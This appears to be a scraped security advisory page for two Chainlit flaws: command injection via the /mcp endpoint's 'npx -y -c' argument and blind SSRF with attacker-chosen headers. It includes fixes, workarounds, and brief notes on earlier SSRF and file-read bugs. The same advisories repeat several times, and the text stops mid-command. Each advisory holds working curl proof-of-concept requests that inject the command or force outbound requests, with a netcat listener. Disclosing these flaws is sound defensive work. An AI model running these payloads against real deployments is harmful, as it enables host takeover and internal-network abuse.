Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.

Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element identifier (chainlitKey) can then be used to retrieve the file contents via /project/file/, allowing disclosure of any file readable by the Chainlit service.

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.

Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element identifier (chainlitKey) can then be used to retrieve the file contents via /project/file/, allowing disclosure of any file readable by the Chainlit service.

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.

Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element identifier (chainlitKey) can then be used to retrieve the file contents via /project/file/, allowing disclosure of any file readable by the Chainlit service.

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
